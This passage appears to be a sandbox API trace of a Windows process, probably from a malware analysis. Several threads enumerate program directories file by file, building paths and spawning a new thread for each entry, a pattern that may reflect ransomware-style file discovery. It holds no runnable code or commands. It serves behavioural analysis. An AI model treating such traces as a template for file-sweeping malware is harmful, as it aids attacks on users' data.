	[0077.773] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a402c44, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1
	[0077.773] wcscmp (_String1="msdatasrc.dll", _String2=".") returned 1
	[0077.773] wcscmp (_String1="msdatasrc.dll", _String2="..") returned 1
	[0077.773] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 1
	[0077.773] wcscmp (_String1="stdole.dll", _String2=".") returned 1
	[0077.773] wcscmp (_String1="stdole.dll", _String2="..") returned 1
	[0077.773] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae24be2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6040, dwReserved0=0x0, dwReserved1=0x0, cFileName="stdole.dll", cAlternateFileName="")) returned 0
	[0077.773] FindClose (in: hFindFile=0x2dad0b8 | out: hFindFile=0x2dad0b8) returned 1
	[0077.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16978) returned 1
	[0077.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7b1e0) returned 1
	[0077.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b348) returned 1

Thread:
	id = 289
	os_tid = 0xe8c

	[0076.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x2e17dc8
	[0076.817] wcscpy (in: _Dest=0x2e17dc8, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0076.817] wcscat (in: _Dest=0x2e17dc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\"
	[0076.817] wcscat (in: _Dest=0x2e17dc8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*"
	[0076.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e15b08
	[0076.818] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacf38
	[0076.818] wcscmp (_String1=".", _String2=".") returned 0
	[0076.818] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc17f062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.818] wcscmp (_String1="..", _String2=".") returned 1
	[0076.818] wcscmp (_String1="..", _String2="..") returned 0
	[0076.818] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9beb855b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9beb855b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9beb855b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3d63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_client.xml", cAlternateFileName="")) returned 1
	[0076.818] wcscmp (_String1="AssemblyList_4_client.xml", _String2=".") returned 1
	[0076.818] wcscmp (_String1="AssemblyList_4_client.xml", _String2="..") returned 1
	[0076.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2e2b618
	[0076.818] wcscpy (in: _Dest=0x2e2b618, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0076.818] wcscat (in: _Dest=0x2e2b618, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\"
	[0076.818] wcscat (in: _Dest=0x2e2b618, _Source="AssemblyList_4_client.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml"
	[0077.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa2c
	[0077.012] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 1
	[0077.012] wcscmp (_String1="AssemblyList_4_extended.xml", _String2=".") returned 1
	[0077.012] wcscmp (_String1="AssemblyList_4_extended.xml", _String2="..") returned 1
	[0077.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x2e2b438
	[0077.012] wcscpy (in: _Dest=0x2e2b438, _Source="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList"
	[0077.012] wcscat (in: _Dest=0x2e2b438, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\"
	[0077.012] wcscat (in: _Dest=0x2e2b438, _Source="AssemblyList_4_extended.xml" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml"
	[0077.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e2b438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8
	[0077.013] FindNextFileW (in: hFindFile=0x2dacf38, lpFindFileData=0x2e15b08 | out: lpFindFileData=0x2e15b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ce8441a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9ce8441a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9ce8441a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x201c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssemblyList_4_extended.xml", cAlternateFileName="")) returned 0
	[0077.013] FindClose (in: hFindFile=0x2dacf38 | out: hFindFile=0x2dacf38) returned 1
	[0077.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e15b08) returned 1
	[0077.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17dc8) returned 1
	[0077.013] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734020) returned 1

Thread:
	id = 290
	os_tid = 0x11ec

	[0076.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2daf1e8
	[0076.819] wcscpy (in: _Dest=0x2daf1e8, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft"
	[0076.819] wcscat (in: _Dest=0x2daf1e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\"
	[0076.819] wcscat (in: _Dest=0x2daf1e8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*"
	[0076.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e153d0
	[0076.819] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac938
	[0076.819] wcscmp (_String1=".", _String2=".") returned 0
	[0076.819] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79effb3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79effb3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.819] wcscmp (_String1="..", _String2=".") returned 1
	[0076.819] wcscmp (_String1="..", _String2="..") returned 0
	[0076.819] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1
	[0076.819] wcscmp (_String1="Windows Workflow Foundation", _String2=".") returned 1
	[0076.819] wcscmp (_String1="Windows Workflow Foundation", _String2="..") returned 1
	[0076.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8a) returned 0x2d78c70
	[0076.819] wcscpy (in: _Dest=0x2d78c70, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft"
	[0076.819] wcscat (in: _Dest=0x2d78c70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\"
	[0076.819] wcscat (in: _Dest=0x2d78c70, _Source="Windows Workflow Foundation" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0077.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d78c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa30
	[0077.010] FindNextFileW (in: hFindFile=0x2dac938, lpFindFileData=0x2e153d0 | out: lpFindFileData=0x2e153d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79effb3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 0
	[0077.010] FindClose (in: hFindFile=0x2dac938 | out: hFindFile=0x2dac938) returned 1
	[0077.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e153d0) returned 1
	[0077.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf1e8) returned 1
	[0077.011] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d776c0) returned 1

Thread:
	id = 291
	os_tid = 0x12d8

	[0076.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0076.820] wcscpy (in: _Dest=0x2e04180, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft"
	[0076.820] wcscat (in: _Dest=0x2e04180, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\"
	[0076.820] wcscat (in: _Dest=0x2e04180, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*"
	[0076.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e13220
	[0076.820] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacd38
	[0076.821] wcscmp (_String1=".", _String2=".") returned 0
	[0076.821] FindNextFileW (in: hFindFile=0x2dacd38, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.821] wcscmp (_String1="..", _String2=".") returned 1
	[0076.821] wcscmp (_String1="..", _String2="..") returned 0
	[0076.821] FindNextFileW (in: hFindFile=0x2dacd38, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0076.821] wcscmp (_String1="Framework", _String2=".") returned 1
	[0076.821] wcscmp (_String1="Framework", _String2="..") returned 1
	[0076.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x2e35038
	[0076.821] wcscpy (in: _Dest=0x2e35038, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft"
	[0076.821] wcscat (in: _Dest=0x2e35038, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\"
	[0076.821] wcscat (in: _Dest=0x2e35038, _Source="Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework"
	[0077.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e35038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa38
	[0077.009] FindNextFileW (in: hFindFile=0x2dacd38, lpFindFileData=0x2e13220 | out: lpFindFileData=0x2e13220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a165b3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7a8888e, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a8888e, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0
	[0077.009] FindClose (in: hFindFile=0x2dacd38 | out: hFindFile=0x2dacd38) returned 1
	[0077.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e13220) returned 1
	[0077.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0077.009] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732c68) returned 1

Thread:
	id = 292
	os_tid = 0x880

	[0076.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daeee8
	[0076.821] wcscpy (in: _Dest=0x2daeee8, _Source="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US"
	[0076.822] wcscat (in: _Dest=0x2daeee8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\"
	[0076.822] wcscat (in: _Dest=0x2daeee8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\*"
	[0076.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e147c8
	[0076.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac8b8
	[0076.822] wcscmp (_String1=".", _String2=".") returned 0
	[0076.822] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b24d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.822] wcscmp (_String1="..", _String2=".") returned 1
	[0076.822] wcscmp (_String1="..", _String2="..") returned 0
	[0076.822] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x76938d00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0076.822] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1
	[0076.822] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1
	[0076.822] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0076.822] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1
	[0076.822] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1
	[0076.822] FindNextFileW (in: hFindFile=0x2dac8b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40ce8172, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75626000, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0076.822] FindClose (in: hFindFile=0x2dac8b8 | out: hFindFile=0x2dac8b8) returned 1
	[0076.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e147c8) returned 1
	[0076.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daeee8) returned 1
	[0076.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77720) returned 1

Thread:
	id = 293
	os_tid = 0x1220

	[0076.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2daccf8
	[0076.823] wcscpy (in: _Dest=0x2daccf8, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0076.823] wcscat (in: _Dest=0x2daccf8, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
	[0076.823] wcscat (in: _Dest=0x2daccf8, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\*") returned="C:\\ProgramData\\Adobe\\ARM\\*"
	[0076.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e147c8
	[0076.823] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\*", lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad0b8
	[0077.786] wcscmp (_String1=".", _String2=".") returned 0
	[0077.786] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.787] wcscmp (_String1="..", _String2=".") returned 1
	[0077.787] wcscmp (_String1="..", _String2="..") returned 0
	[0077.787] FindNextFileW (in: hFindFile=0x2dad0b8, lpFindFileData=0x2e147c8 | out: lpFindFileData=0x2e147c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1
	[0077.787] wcscmp (_String1="Reader_15.007.20033", _String2=".") returned 1
	[0077.787] wcscmp (_String1="Reader_15.007.20033", _String2="..") returned 1
	[0077.787] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x2d7a448
	[0077.787] wcscpy (in: _Dest=0x2d7a448, _Source="C:\\ProgramData\\Adobe\\ARM" | out: _Dest="C:\\ProgramData\\Adobe\\ARM") returned="C:\\ProgramData\\Adobe\\ARM"
	[0077.787] wcscat (in: _Dest=0x2d7a448, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\") returned="C:\\ProgramData\\Adobe\\ARM\\"
